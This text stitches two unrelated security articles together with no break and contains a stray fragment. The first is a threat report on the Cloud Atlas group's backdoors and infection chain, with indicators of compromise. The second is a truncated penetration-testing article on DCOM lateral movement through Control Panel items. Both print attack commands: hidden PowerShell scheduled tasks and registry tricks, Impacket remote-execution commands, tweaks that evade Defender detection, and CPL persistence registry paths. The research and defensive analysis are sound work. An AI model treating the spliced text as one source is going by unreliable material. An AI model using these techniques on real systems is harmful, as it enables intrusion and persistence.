Known since 2014, the Cloud Atlas group targets countries in Eastern Europe and Central Asia. Infections occur via phishing emails containing a malicious document that exploits an old vulnerability in the Microsoft Office Equation Editor process (CVE-2018-0802) to download and execute malicious code. In this report, we describe the infection chain and tools that the group used in the first half of 2025, with particular focus on previously undescribed implants.

Additional information about this threat, including indicators of compromise, is available to customers of the Kaspersky Intelligence Reporting Service. Contact: intelreports@kaspersky.com.

Technical details

Initial infection

The starting point is typically a phishing email with a malicious DOC(X) attachment. When the document is opened, a malicious template is downloaded from a remote server. The document has the form of an RTF file containing an exploit for the formula editor, which downloads and executes an HTML Application (HTA) file.
Fpaylo

We were unable to obtain the actual RTF template with the exploit. We assume that after a successful infection of the victim, the link to this file becomes inaccessible. In the given example, the malicious RTF file containing the exploit was downloaded from the URL hxxps://securemodem[.]com?tzak.html_anacid.

Template files, like HTA files, are located on servers controlled by the group, and their downloading is limited both in time and by the IP addresses of the victims. The malicious HTA file extracts and creates several VBS files on disk that are parts of the VBShower backdoor. VBShower then downloads and installs other backdoors: PowerShower, VBCloud, and CloudAtlas.

This infection chain largely follows the one previously seen in Cloud Atlas’ 2024 attacks. The currently employed chain is presented below:

Several implants remain the same, with insignificant changes in file names, and so on. You can find more details in our previous article on the following implants:

• HTA file
• VBShower::Launcher
• VBShower::Cleaner

In this research, we’ll focus on new and updated components.

VBShower

VBShower::Backdoor

Compared to the previous version, the backdoor runs additional downloaded VB scripts in the current context, regardless of the size. A previous modification of this script checked the size of the payload, and if it exceeded 1 MB, instead of executing it in the current context, the backdoor wrote it to disk and used the wscript utility to launch it.

VBShower::Payload (1)

The script collects information about running processes, including their creation time, caption, and command line. The collected information is encrypted and sent to the C2 server by the parent script (VBShower::Backdoor) via the v_buff variable.

VBShower::Payload (2)

The script is used to install the VBCloud implant. First, it downloads a ZIP archive from the hardcoded URL and unpacks it into the %Public% directory. Then, it creates a scheduler task named “MicrosoftEdgeUpdateTask” to run the following command line:

wscript.exe /B %Public%\Libraries\MicrosoftEdgeUpdate.vbs

It renames the unzipped file %Public%\Libraries\v.log to %Public%\Libraries\MicrosoftEdgeUpdate.vbs, iterates through the files in the %Public%\Libraries directory, and collects information about the filenames and sizes. The data, in the form of a buffer, is collected in the v_buff variable. The malware gets information about the task by executing the following command line:

cmd.exe /c schtasks /query /v /fo CSV /tn MicrosoftEdgeUpdateTask

The specified command line is executed, with the output redirected to the TMP file. Both the TMP file and the content of the v_buff variable will be sent to the C2 server by the parent script (VBShower::Backdoor).

Here is an example of the information present in the v_buff variable:

Libraries:
desktop.ini-175|
MicrosoftEdgeUpdate.vbs-2299|
RecordedTV.library-ms-999|
upgrade.mds-32840|
v.log-2299|

The file MicrosoftEdgeUpdate.vbs is a launcher for VBCloud, which reads the encrypted body of the backdoor from the file upgrade.mds, decrypts it, and executes it.

Almost the same script is used to install the CloudAtlas backdoor on an infected system. The script only downloads and unpacks the ZIP archive to "%LOCALAPPDATA%", and sends information about the contents of the directories "%LOCALAPPDATA%\vlc\plugins\access" and "%LOCALAPPDATA%\vlc" as output.

In this case, the file renaming operation is not applied, and there is no code for creating a scheduler task.

Here is an example of information to be sent to the C2 server:

vlc:
a.xml-969608|
b.xml-592960|
d.xml-2680200|
e.xml-185224||
access:
c.xml-5951488|

In fact, a.xml, d.xml, and e.xml are the executable file and libraries, respectively, of VLC Media Player. The c.xml file is a malicious library used in a DLL hijacking attack, where VLC acts as a loader, and the b.xml file is an encrypted body of the CloudAtlas backdoor, read from disk by the malicious library, decrypted, and executed.

VBShower::Payload (3)

This script is the next component for installing CloudAtlas. It is downloaded by VBShower from the C2 server as a separate file and executed after the VBShower::Payload (2) script. The script renames the XML files unpacked by VBShower::Payload (2) from the archive to the corresponding executables and libraries, and also renames the file containing the encrypted backdoor body.

These files are copied by VBShower::Payload (3) to the following paths:

File	Path
a.xml	%LOCALAPPDATA%\vlc\vlc.exe
b.xml	%LOCALAPPDATA%\vlc\chambranle
c.xml	%LOCALAPPDATA%\vlc\plugins\access\libvlc_plugin.dll
d.xml	%LOCALAPPDATA%\vlc\libvlccore.dll
e.xml	%LOCALAPPDATA%\vlc\libvlc.dll

Additionally, VBShower::Payload (3) creates a scheduler task to execute the command line: "%LOCALAPPDATA%\vlc\vlc.exe". The script then iterates through the files in the "%LOCALAPPDATA%\vlc" and "%LOCALAPPDATA%\vlc\plugins\access" directories, collecting information about filenames and sizes. The data, in the form of a buffer, is collected in the v_buff variable. The script also retrieves information about the task by executing the following command line, with the output redirected to a TMP file:

cmd.exe /c schtasks /query /v /fo CSV /tn MicrosoftVLCTaskMachine

Both the TMP file and the content of the v_buff variable will be sent to the C2 server by the parent script (VBShower::Backdoor).

VBShower::Payload (4)

This script was previously described as VBShower::Payload (1).

VBShower::Payload (5)

This script is used to check access to various cloud services and executed before installing VBCloud or CloudAtlas. It consistently accesses the URLs of cloud services, and the received HTTP responses are saved to the v_buff variable for subsequent sending to the C2 server. A truncated example of the information sent to the C2 server:

GET-https://webdav.yandex.ru|
200|
<!DOCTYPE html><html lang="ru" dir="ltr" class="desktop"><head><base href="...

VBShower::Payload (6)

This script was previously described as VBShower::Payload (2).

VBShower::Payload (7)

This is a small script for checking the accessibility of PowerShower’s C2 from an infected system.

VBShower::Payload (8)

This script is used to install PowerShower, another backdoor known to be employed by Cloud Atlas. The script does so by performing the following steps in sequence:

1. Creates registry keys to make the console window appear off-screen, effectively hiding it:
   

   "HKCU\Console\%SystemRoot%_System32_WindowsPowerShell_v1.0_powershell.exe"::"WindowPosition"::5122
   "HKCU\UConsole\taskeng.exe"::"WindowPosition"::538126692

2. Creates a “MicrosoftAdobeUpdateTaskMachine” scheduler task to execute the command line:
   

   powershell.exe -ep bypass -w 01 %APPDATA%\Adobe\AdobeMon.ps1

3. Decrypts the contents of the embedded data block with XOR and saves the resulting script to the file "%APPDATA%\Adobe\p.txt". Then, renames the file "p.txt" to "AdobeMon.ps1".
4. Collects information about file names and sizes in the path "%APPDATA%\Adobe". Gets information about the task by executing the following command line, with the output redirected to a TMP file:
   

   cmd.exe /c schtasks /query /v /fo LIST /tn MicrosoftAdobeUpdateTaskMachine

The decrypted PowerShell script is disguised as one of the standard modules, but at the end of the script, there is a command to launch the PowerShell interpreter with another script encoded in Base64.

VBShower::Payload (9)

This is a small script for collecting information about the system proxy settings.

VBCloud

On an infected system, VBCloud is represented by two files: a VB script (VBCloud::Launcher) and an encrypted main body (VBCloud::Backdoor). In the described case, the launcher is located in the file MicrosoftEdgeUpdate.vbs, and the payload — in upgrade.mds.

VBCloud::Launcher

The launcher script reads the contents of the upgrade.mds file, decodes characters delimited with “%H”, uses the RC4 stream encryption algorithm with a key built into the script to decrypt it, and transfers control to the decrypted content. It is worth noting that the implementation of RC4 uses PRGA (pseudo-random generation algorithm), which is quite rare, since most malware implementations of this algorithm skip this step.

VBCloud::Backdoor

The backdoor performs several actions in a loop to eventually download and execute additional malicious scripts, as described in the previous research.

VBCloud::Payload (FileGrabber)

Unlike VBShower, which uses a global variable to save its output or a temporary file to be sent to the C2 server, each VBCloud payload communicates with the C2 server independently. One of the most commonly used payloads for the VBCloud backdoor is FileGrabber. The script exfiltrates files and documents from the target system as described before.

The FileGrabber payload has the following limitations when scanning for files:

• It ignores the following paths:
  • Program Files
  • Program Files (x86)
  • %SystemRoot%
• The file size for archiving must be between 1,000 and 3,000,000 bytes.
• The file’s last modification date must be less than 30 days before the start of the scan.
• Files containing the following strings in their names are ignored:
  • “intermediate.txt”
  • “FlightingLogging.txt”
  • “log.txt”
  • “thirdpartynotices”
  • “ThirdPartyNotices”
  • “easylist.txt”
  • “acroNGLLog.txt”
  • “LICENSE.txt”
  • “signature.txt”
  • “AlternateServices.txt”
  • “scanwia.txt”
  • “scantwain.txt”
  • “SiteSecurityServiceState.txt”
  • “serviceworker.txt”
  • “SettingsCache.txt”
  • “NisLog.txt”
  • “AppCache”
  • “backupTest”

PowerShower

As mentioned above, PowerShower is installed via one of the VBShower payloads. This script launches the PowerShell interpreter with another script encoded in Base64. Running in an infinite loop, it attempts to access the C2 server to retrieve an additional payload, which is a PowerShell script twice encoded with Base64. This payload is executed in the context of the backdoor, and the execution result is sent to the C2 server via an HTTP POST request.

In previous versions of PowerShower, the payload created a sapp.xtx temporary file to save its output, which was sent to the C2 server by the main body of the backdoor. No intermediate files are created anymore, and the result of execution is returned to the backdoor by a normal call to the "return" operator.

PowerShower::Payload (1)

This script was previously described as PowerShower::Payload (2). This payload is unique to each victim.

PowerShower::Payload (2)

This script is used for grabbing files with metadata from a network share.

CloudAtlas

As described above, the CloudAtlas backdoor is installed via VBShower from a downloaded archive delivered through a DLL hijacking attack. The legitimate VLC application acts as a loader, accompanied by a malicious library that reads the encrypted payload from the file and transfers control to it. The malicious DLL is located at "%LOCALAPPDATA%\vlc\plugins\access", while the file with the encrypted payload is located at "%LOCALAPPDATA%\vlc\".

When the malicious DLL gains control, it first extracts another DLL from itself, places it in the memory of the current process, and transfers control to it. The unpacked DLL uses a byte-by-byte XOR operation to decrypt the block with the loader configuration. The encrypted config immediately follows the key. The config specifies the name of the event that is created to prevent a duplicate payload launch. The config also contains the name of the file where the encrypted payload is located — "chambranle" in this case — and the decryption key itself.

The library reads the contents of the "chambranle" file with the payload, uses the key from the decrypted config and the IV located at the very end of the "chambranle" file to decrypt it with AES-256-CBC. The decrypted file is another DLL with its size and SHA-1 hash embedded at the end, added to verify that the DLL is decrypted correctly. The DLL decrypted from "chambranle" is the main body of the CloudAtlas backdoor, and control is transferred to it via one of the exported functions, specifically the one with ordinal 2.

When the main body of the backdoor gains control, the first thing it does is decrypt its own configuration. Decryption is done in a similar way, using AES-256-CBC. The key for AES-256 is located before the configuration, and the IV is located right after it. The most useful information in the configuration file includes the URL of the cloud service, paths to directories for receiving payloads and unloading results, and credentials for the cloud service.

Immediately after decrypting the configuration, the backdoor starts interacting with the C2 server, which is a cloud service, via WebDAV. First, the backdoor uses the MKCOL HTTP method to create two directories: one ("/guessed/intershop/Euskalduns/") will regularly receive a beacon in the form of an encrypted file containing information about the system, time, user name, current command line, and volume information. The other directory ("/cancrenate/speciesists/") is used to retrieve payloads. The beacon file and payload files are AES-256-CBC encrypted with the key that was used for backdoor configuration decryption.

The backdoor uses the HTTP PROPFIND method to retrieve the list of files. Each of these files will be subsequently downloaded, deleted from the cloud service, decrypted, and executed.

The payload consists of data with a binary block containing a command number and arguments at the beginning, followed by an executable plugin in the form of a DLL. The structure of the arguments depends on the type of command. After the plugin is loaded into memory and configured, the backdoor calls the exported function with ordinal 1, passing several arguments: a pointer to the backdoor function that implements sending files to the cloud service, a pointer to the decrypted backdoor configuration, and a pointer to the binary block with the command and arguments from the beginning of the payload.

Before calling the plugin function, the backdoor saves the path to the current directory and restores it after the function is executed. Additionally, after execution, the plugin is removed from memory.

CloudAtlas::Plugin (FileGrabber)

FileGrabber is the most commonly used plugin. As the name suggests, it is designed to steal files from an infected system. Depending on the command block transmitted, it is capable of:

• Stealing files from all local disks
• Stealing files from the specified removable media
• Stealing files from specified folders
• Using the selected username and password from the command block to mount network resources and then steal files from them

For each detected file, a series of rules are generated based on the conditions passed within the command block, including:

• Checking for minimum and maximum file size
• Checking the file’s last modification time
• Checking the file path for pattern exclusions. If a string pattern is found in the full path to a file, the file is ignored
• Checking the file name or extension against a list of patterns

If all conditions match, the file is sent to the C2 server, along with its metadata, including attributes, creation time, last access time, last modification time, size, full path to the file, and SHA-1 of the file contents. Additionally, if a special flag is set in one of the rule fields, the file will be deleted after a copy is sent to the C2 server. There is also a limit on the total amount of data sent, and if this limit is exceeded, scanning of the resource stops.

CloudAtlas::Plugin (Common)

This is a general-purpose plugin, which parses the transferred block, splits it into commands, and executes them. Each command has its own ID, ranging from 0 to 6. The list of commands is presented below.

1. Command ID 0: Creates, sets and closes named events.
2. Command ID 1: Deletes the selected list of files.
3. Command ID 2: Drops a file on disk with content and a path selected in the command block arguments.
4. Command ID 3: Capable of performing several operations together or independently, including:
   1. Dropping several files on disk with content and paths selected in the command block arguments
   2. Dropping and executing a file at a specified path with selected parameters. This operation supports three types of launch:
   • Using the WinExec function
   • Using the ShellExecuteW function
   • Using the CreateProcessWithLogonW function, which requires that the user’s credentials be passed within the command block to launch the process on their behalf
5. Command ID 4: Uses the StdRegProv COM interface to perform registry manipulations, supporting key creation, value deletion, and value setting (both DWORD and string values).
6. Command ID 5: Calls the ExitProcess function.
7. Command ID 6: Uses the credentials passed within the command block to connect a network resource, drops a file to the remote resource under the name specified within the command block, creates and runs a VB script on the local system to execute the dropped file on the remote system. The VB script is created at "%APPDATA%\ntsystmp.vbs". The path to launch the file dropped on the remote system is passed to the launched VB script as an argument.

CloudAtlas::Plugin (PasswordStealer)

This plugin is used to steal cookies and credentials from browsers. This is an extended version of the Common Plugin, which is used for more specific purposes. It can also drop, launch, and delete files, but its primary function is to drop files belonging to the “Chrome App-Bound Encryption Decryption” open-source project onto the disk, and run the utility to steal cookies and passwords from Chromium-based browsers. After launching the utility, several files ("cookies.txt" and "passwords.txt") containing the extracted browser data are created on disk. The plugin then reads JSON data from the selected files, parses the data, and sends the extracted information to the C2 server.

CloudAtlas::Plugin (InfoCollector)

This plugin is used to collect information about the infected system. The list of commands is presented below.

1. Command ID 0xFFFFFFF0: Collects the computer’s NetBIOS name and domain information.
2. Command ID 0xFFFFFFF1: Gets a list of processes, including full paths to executable files of processes, and a list of modules (DLLs) loaded into each process.
3. Command ID 0xFFFFFFF2: Collects information about installed products.
4. Command ID 0xFFFFFFF3: Collects device information.
5. Command ID 0xFFFFFFF4: Collects information about logical drives.
6. Command ID 0xFFFFFFF5: Executes the command with input/output redirection, and sends the output to the C2 server. If the command line for execution is not specified, it sequentially launches the following utilities and sends their output to the C2 server:

net group "Exchange servers" /domain
Ipconfig
arp -a

Python script

As mentioned in one of our previous reports, Cloud Atlas uses a custom Python script named get_browser_pass.py to extract saved credentials from browsers on infected systems. If the Python interpreter is not present on the victim’s machine, the group delivers an archive that includes both the script and a bundled Python interpreter to ensure execution.

During one of the latest incidents we investigated, we once again observed traces of this tool in action, specifically the presence of the file "C:\ProgramData\py\pytest.dll".

The pytest.dll library is called from within get_browser_pass.py and used to extract credentials from Yandex Browser. The data is then saved locally to a file named y3.txt.

Victims

According to our telemetry, the identified targets of the malicious activities described here are located in Russia and Belarus, with observed activity dating back to the beginning of 2025. The industries being targeted are diverse, encompassing organizations in the telecommunications sector, construction, government entities, and plants.

Conclusion

For more than ten years, the group has carried on its activities and expanded its arsenal. Now the attackers have four implants at their disposal (PowerShower, VBShower, VBCloud, CloudAtlas), each of them a full-fledged backdoor. Most of the functionality in the backdoors is duplicated, but some payloads provide various exclusive capabilities. The use of cloud services to manage backdoors is a distinctive feature of the group, and it has proven itself in various attacks.

Indicators of compromise

Note: The indicators in this section are valid at the time of publication.

File hashes

0D309C25A835BAF3B0C392AC87504D9E    протокол (08.05.2025).doc
D34AAEB811787B52EC45122EC10AEB08    HTA
4F7C5088BCDF388C49F9CAAD2CCCDCC5    StandaloneUpdate_2020-04-13_090638_8815-145.log:StandaloneUpdate_2020-04-13_090638_8815-145cfcf.vbs
5C93AF19EF930352A251B5E1B2AC2519    StandaloneUpdate_2020-04-13_090638_8815-145.log:StandaloneUpdate_2020-04-13_090638_8815-145.dat (encrypted)
0E13FA3F06607B1392A3C3CAA8092C98    VBShower::Payload(1)
BC80C582D21AC9E98CBCA2F0637D8993    VBShower::Payload(2)
12F1F060DF0C1916E6D5D154AF925426    VBShower::Payload(3)
E8C21CA9A5B721F5B0AB7C87294A2D72    VBShower::Payload(4)
2D03F1646971FB7921E31B647586D3FB    VBShower::Payload(5)
7A85873661B50EA914E12F0523527CFA    VBShower::Payload(6)
F31CE101CBE25ACDE328A8C326B9444A    VBShower::Payload(7)
E2F3E5BF7EFBA58A9C371E2064DFD0BB    VBShower::Payload(8)
67156D9D0784245AF0CAE297FC458AAC    VBShower::Payload(9)
116E5132E30273DA7108F23A622646FE    VBCloud::Launcher
E9F60941A7CED1A91643AF9D8B92A36D    VBCloud::Payload(FileGrabber)
718B9E688AF49C2E1984CF6472B23805    PowerShower
A913EF515F5DC8224FCFFA33027EB0DD    PowerShower::Payload(2)
BAA59BB050A12DBDF981193D88079232    chambranle (encrypted)

Domains and IPs

billet-ru[.]net
mskreg[.]net
flashsupport[.]org
solid-logit[.]com
cityru-travel[.]org
transferpolicy[.]org
information-model[.]net
securemodem[.]com

Introduction

If you’re a penetration tester, you know that lateral movement is becoming increasingly difficult, especially in well-defended environments. One common technique for remote command execution has been the use of DCOM objects.

Over the years, many different DCOM objects have been discovered. Some rely on native Windows components, others depend on third-party software such as Microsoft Office, and some are undocumented objects found through reverse engineering. While certain objects still work, others no longer function in newer versions of Windows.

This research presents a previously undescribed DCOM object that can be used for both command execution and potential persistence. This new technique abuses older initial access and persistence methods through Control Panel items.

First, we will discuss COM technology. After that, we will review the current state of the Impacket dcomexec script, focusing on objects that still function, and discuss potential fixes and improvements, then move on to techniques for enumerating objects on the system. Next, we will examine Control Panel items, how adversaries have used them for initial access and persistence, and how these items can be leveraged through a DCOM object to achieve command execution.

Finally, we will cover detection strategies to identify and respond to this type of activity.

COM/DCOM technology

What is COM?

COM stands for Component Object Model, a Microsoft technology that defines a binary standard for interoperability. It enables the creation of reusable software components that can interact at runtime without the need to compile COM libraries directly into an application.

These software components operate in a client–server model. A COM object exposes its functionality through one or more interfaces. An interface is essentially a collection of related member functions (methods).

COM also enables communication between processes running on the same machine by using local RPC (Remote Procedure Call) to handle cross-process communication.

Terms

To ensure a better understanding of its structure and functionality, let’s revise COM-related terminology.

1. COM interface
   A COM interface defines the functionality that a COM object exposes. Each COM interface is identified by a unique GUID known as the IID (Interface ID). All COM interfaces can be found in the Windows Registry under HKEY_CLASSES_ROOT\Interface, where they are organized by GUID.
2. COM class (COM CoClass)
   A COM class is the actual implementation of one or more COM interfaces. Like COM interfaces, classes are identified by unique GUIDs, but in this case the GUID is called the CLSID (Class ID). This GUID is used to locate the COM server and activate the corresponding COM class.

   All COM classes must be registered in the registry under HKEY_CLASSES_ROOT\CLSID, where each class’s GUID is stored. Under each GUID, you may find multiple subkeys that serve different purposes, such as:

   • InprocServer32/LocalServer32: Specifies the system path of the COM server where the class is defined. InprocServer32 is used for in-process servers (DLLs), while LocalServer32 is used for out-of-process servers (EXEs). We’ll describe this in more detail later.
   • ProgID: A human-readable name assigned to the COM class.
   • TypeLib: A binary description of the COM class (essentially documentation for the class).
   • AppID: Used to describe security configuration for the class.
3. COM server
   A COM is the module where a COM class is defined. The server can be implemented as an EXE, in which case it is called an out-of-process server, or as a DLL, in which case it is called an in-process server. Each COM server has a unique file path or location in the system. Information about COM servers is stored in the Windows Registry. The COM runtime uses the registry to locate the server and perform further actions. Registry entries for COM servers are located under the HKEY_CLASSES_ROOT root key for both 32- and 64-bit servers.

Client–server model

1. In-process server
   In the case of an in-process server, the server is implemented as a DLL. The client loads this DLL into its own address space and directly executes functions exposed by the COM object. This approach is efficient since both client and server run within the same process.
   

   In-process COM server

2. Out-of-process server
   Here, the server is implemented and compiled as an executable (EXE). Since the client cannot load an EXE into its address space, the server runs in its own process, separate from the client. Communication between the two processes is handled via ALPC (Advanced Local Procedure Call) ports, which serve as the RPC transport layer for COM.

What is DCOM?

DCOM is an extension of COM where the D stands for Distributed. It enables the client and server to reside on different machines. From the user’s perspective, there is no difference: DCOM provides an abstraction layer that makes both the client and the server appear as if they are on the same machine.

Under the hood, however, COM uses TCP as the RPC transport layer to enable communication across machines.

Certain requirements must be met to extend a COM object into a DCOM object. The most important one for our research is the presence of the AppID subkey in the registry, located under the COM CLSID entry.

The AppID value contains a GUID that maps to a corresponding key under HKEY_CLASSES_ROOT\AppID. Several subkeys may exist under this GUID. Two critical ones are:

• AccessPermission: controls access permissions.
• LaunchPermission: controls activation permissions.

These registry settings grant remote clients permissions to activate and interact with DCOM objects.

Lateral movement via DCOM

After attackers compromise a host, their next objective is often to compromise additional machines. This is what we call lateral movement. One common lateral movement technique is to achieve remote command execution on a target machine. There are many ways to do this, one of which involves abusing DCOM objects.

In recent years, many DCOM objects have been discovered. This research focuses on the objects exposed by the Impacket script dcomexec.py that can be used for command execution. More specifically, three exposed objects are used: ShellWindows, ShellBrowserWindow and MMC20.

1. ShellWindows
   ShellWindows was one of the first DCOM objects to be identified. It represents a collection of open shell windows and is hosted by explorer.exe, meaning any COM client communicates with that process.

   In Impacket’s dcomexec.py, once an instance of this COM object is created on a remote machine, the script provides a semi-interactive shell.

   Each time a user enters a command, the function exposed by the COM object is called. The command output is redirected to a file, which the script retrieves via SMB and displays back to simulate a regular shell.

   Internally, the script runs this command when connecting:

   cmd.exe /Q /c cd \ 1> \\127.0.0.1\ADMIN$\__17602 2>&1

   This sets the working directory to C:\ and redirects the output to the ADMIN$ share under the filename __17602. After that, the script checks whether the file exists; if it does, execution is considered successful and the output appears as if in a shell.

   When running dcomexec.py against Windows 10 and 11 using the ShellWindows object, the script hangs after confirming SMB connection initialization and printing the SMB banner. As I mentioned in my personal blog post, it appears that this DCOM object no longer has permission to write to the ADMIN$ share. A simple fix is to redirect the output to a directory the DCOM object can write to, such as the Temp folder. The Temp folder can then be accessed under the same ADMIN$ share. A small change in the code resolves the issue. For example:

   OUTPUT_FILENAME = 'Temp\\__' + str(time.time())[:5]

2. ShellBrowserWindow
   The ShellBrowserWindow object behaves almost identically to ShellWindows and exhibits the same behavior on Windows 10. The same workaround that we used for ShellWindows applies in this case. However, on Windows 11, this object no longer works for command execution.
3. MMC20
   The MMC20.Application COM object is the automation interface for Microsoft Management Console (MMC). It exposes methods and properties that allow MMC snap-ins to be automated.

   This object has historically worked across all Windows versions. Starting with Windows Server 2025, however, attempting to use it triggers a Defender alert, and execution is blocked.

   As shown in earlier examples, the dcomexec.py script writes the command output to a file under ADMIN$, with a filename that begins with __:

   OUTPUT_FILENAME = '__' + str(time.time())[:5]

   Defender appears to check for files written under ADMIN$ that start with __, and when it detects one, it blocks the process and alerts the user. A quick fix is to simply remove the double underscores from the output filename.

   Another way to bypass this issue is to use the same workaround used for ShellWindows – redirecting the output to the Temp folder. The table below outlines the status of these objects across different Windows versions.

   	Windows Server 2025	Windows Server 2022	Windows 11	Windows 10
   ShellWindows	Doesn’t work	Doesn’t work	Works but needs a fix	Works but needs a fix
   ShellBrowserWindow	Doesn’t work	Doesn’t work	Doesn’t work	Works but needs a fix
   MMC20	Detected by Defender	Works	Works	Works

Enumerating COM/DCOM objects

The first step to identifying which DCOM objects could be used for lateral movement is to enumerate them. By enumerating, I don’t just mean listing the objects. Enumeration involves:

• Finding objects and filtering specifically for DCOM objects.
• Identifying their interfaces.
• Inspecting the exposed functions.

Automating enumeration is difficult because most COM objects lack a type library (TypeLib). A TypeLib acts as documentation for an object: which interfaces it supports, which functions are exposed, and the definitions of those functions. Even when TypeLibs are available, manual inspection is often still required, as we will explain later.

There are several approaches to enumerating COM objects depending on their use cases. Next, we’ll describe the methods I used while conducting this research, taking into account both automated and manual methods.

1. Automation using PowerShell
   In PowerShell, you can use .NET to create and interact with DCOM objects. Objects can be created using either their ProgID or CLSID, after which you can call their functions (as shown in the figure below).
   

   Shell.Application COM object function list in PowerShell

   Under the hood, PowerShell checks whether the COM object has a TypeLib and implements the IDispatch interface. IDispatch enables late binding, which allows runtime dynamic object creation and function invocation. With these two conditions met, PowerShell can dynamically interact with COM objects at runtime.

   Our strategy looks like this:

   

   As you can see in the last box, we perform manual inspection to look for functions with names that could be of interest, such as Execute, Exec, Shell, etc. These names often indicate potential command execution capabilities.

   However, this approach has several limitations:

   • TypeLib requirement: Not all COM objects have a TypeLib, so many objects cannot be enumerated this way.
   • IDispatch requirement: Not all COM objects implement the IDispatch interface, which is required for PowerShell interaction.
   • Interface control: When you instantiate an object in PowerShell, you cannot choose which interface the instance will be tied to. If a COM class implements multiple interfaces, PowerShell will automatically select the one marked as [default] in the TypeLib. This means that other non-default interfaces, which may contain additional relevant functionality, such as command execution, could be overlooked.
2. Automation using C++
   As you might expect, C++ is one of the languages that natively supports COM clients. Using C++, you can create instances of COM objects and call their functions via header files that define the interfaces.However, with this approach, we are not necessarily interested in calling functions directly. Instead, the goal is to check whether a specific COM object supports certain interfaces. The reasoning is that many interfaces have been found to contain functions that can be abused for command execution or other purposes.

   This strategy primarily relies on an interface called IUnknown. All COM interfaces should inherit from this interface, and all COM classes should implement it.The IUnknown interface exposes three main functions. The most important is QueryInterface(), which is used to ask a COM object for a pointer to one of its interfaces.So, the strategy is to:

   • Enumerate COM classes in the system by reading CLSIDs under the HKEY_CLASSES_ROOT\CLSID key.
   • Check whether they support any known valuable interfaces. If they do, those classes may be leveraged for command execution or other useful functionality.

   This method has several advantages:

   • No TypeLib dependency: Unlike PowerShell, this approach does not require the COM object to have a TypeLib.
   • Use of IUnknown: In C++, you can use the QueryInterface function from the base IUnknown interface to check if a particular interface is supported by a COM class.
   • No need for interface definitions: Even without knowing the exact interface structure, you can obtain a pointer to its virtual function table (vtable), typically cast as a void*. This is enough to confirm the existence of the interface and potentially inspect it further.

   The figure below illustrates this strategy:

   

   This approach is good in terms of automation because it eliminates the need for manual inspection. However, we are still only checking well-known interfaces commonly used for lateral movement, while potentially missing others.

3. Manual inspection using open-source tools
   As you can see, automation can be difficult since it requires several prerequisites and, in many cases, still ends with a manual inspection. An alternative approach is manual inspection using a tool called OleViewDotNet, developed by James Forshaw. This tool allows you to:
   • List all COM classes in the system.
   • Create instances of those classes.
   • Check their supported interfaces.
   • Call specific functions.
   • Apply various filters for easier analysis.
   • Perform other inspection tasks.
   

   Open-source tool for inspecting COM interfaces

   One of the most valuable features of this tool is its naming visibility. OleViewDotNet extracts the names of interfaces and classes (when available) from the Windows Registry and displays them, along with any associated type libraries.

   This makes manual inspection easier, since you can analyze the names of classes, interfaces, or type libraries and correlate them with potentially interesting functionality, for example, functions that could lead to command execution or persistence techniques.

Control Panel items as attack surfaces

Control Panel items allow users to view and adjust their computer settings. These items are implemented as DLLs that export the CPlApplet function and typically have the .cpl extension. Control Panel items can also be executables, but our research will focus on DLLs only.

Attackers can abuse CPL files for initial access. When a user executes a malicious .cpl file (e.g., delivered via phishing), the system may be compromised – a technique mapped to MITRE ATT&CK T1218.002.

Adversaries may also modify the extensions of malicious DLLs to .cpl and register them in the corresponding locations in the registry.

• Under HKEY_CURRENT_USER:
  HKCU\Software\Microsoft\Windows\CurrentVersion\Control Panel\Cpls

• Under HKEY_LOCAL_MACHINE:
  • For 64-bit DLLs:
    HKLM\Software\Microsoft\Windows\CurrentVersion\Control Panel\Cpls
  • For 32-bit DLLs:
    HKLM\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Control Panel\Cpls

These locations are important when Control Panel DLLs need to be available to the current logged-in user or to all users on the machine. However, the “Control Panel” subkey and its “Cpls” subkey under HKCU should be created manually, unlike the “Control Panel” and “Cpls” subkeys under HKLM, which are created automatically by the operating system.

Once registered, the DLL (CPL file) will load every time the Control Panel is opened, enabling persistence on the victim’s system.

It’s worth noting that even DLLs that do not comply with the CPL specification, do not export CPlApplet, or do not have the .cpl extension can still be executed via their DllEntryPoint function if they are registered under the registry keys listed above.

There are multiple ways to execute Control Panel items:

• From cmd: control.exe [filename].cpl
• By double-clicking the .cpl file.

Both methods use rundll32.exe under the hood:

rundll32.exe shell32.dll,Control_RunDLL [filename].cpl

This calls the Control_RunDLL function from shell32.dll, passing the CPL file as an argument. Everything inside the CPlApplet function will then be executed.

However, if the CPL file has been registered in the registry as shown earlier, then every time the Control Panel is opened, the file is loaded into memory through the COM Surrogate process (dllhost.exe):

What happened was that a Control Panel with a COM client used a COM object to load these CPL files. We will talk about this COM object in more detail later.

The COM Surrogate process was designed to host COM server DLLs in a separate process rather than loading them directly into the client process’s address space. This isolation improves stability for the in-process server model. This hosting behavior can be configured for a COM object in the registry if you want a COM server DLL to run inside a separate process because, by default, it is loaded in the same process.

‘DCOMing’ through Control Panel items

While following the manual approach of enumerating COM/DCOM objects that could be useful for lateral movement, I came across a COM object called COpenControlPanel, which is exposed through shell32.dll and has the CLSID {06622D85-6856-4460-8DE1-A81921B41C4B}. This object exposes multiple interfaces, one of which is IOpenControlPanel with IID {D11AD862-66DE-4DF4-BF6C-1F5621996AF1}.

I immediately thought of its potential to compromise Control Panel items, so I wanted to check which functions were exposed by this interface. Unfortunately, neither the interface nor the COM class has a type library.

Normally, checking the interface definition would require reverse engineering, so at first, it looked like we needed to take a different research path. However, it turned out that the IOpenControlPanel interface is documented on MSDN, and according to the documentation, it exposes several functions. One of them, called Open, allows a specified Control Panel item to be opened using its name as the first argument.

Full type and function definitions are provided in the shobjidl_core.h Windows header file.

It’s worth noting that in newer versions of Windows (e.g., Windows Server 2025 and Windows 11), Microsoft has removed interface names from the registry, which means they can no longer be identified through OleViewDotNet.

Returning to the COpenControlPanel COM object, I found that the Open function can trigger a DLL to be loaded into memory if it has been registered in the registry. For the purposes of this research, I created a DLL that basically just spawns a message box which is defined under the DllEntryPoint function. I registered it under HKCU\Software\Microsoft\Windows\CurrentVersion\Control Panel\Cpls and then created a simple C++ COM client to call the Open function on this interface.

As expected, the DLL was loaded into memory. It was hosted in the same way that it would be if the Control Panel itself was opened: through the COM Surrogate process (dllhost.exe). Using Process Explorer, it was clear that dllhost.exe loaded my DLL while simultaneously hosting the COpenControlPanel object along with other COM objects.

Based on my testing, I made the following observations:

1. The DLL that needs to be registered does not necessarily have to be a .cpl file; any DLL with a valid entry point will be loaded.
2. The Open() function accepts the name of a Control Panel item as its first argument. However, it appears that even if a random string is supplied, it still causes all DLLs registered in the relevant registry location to be loaded into memory.

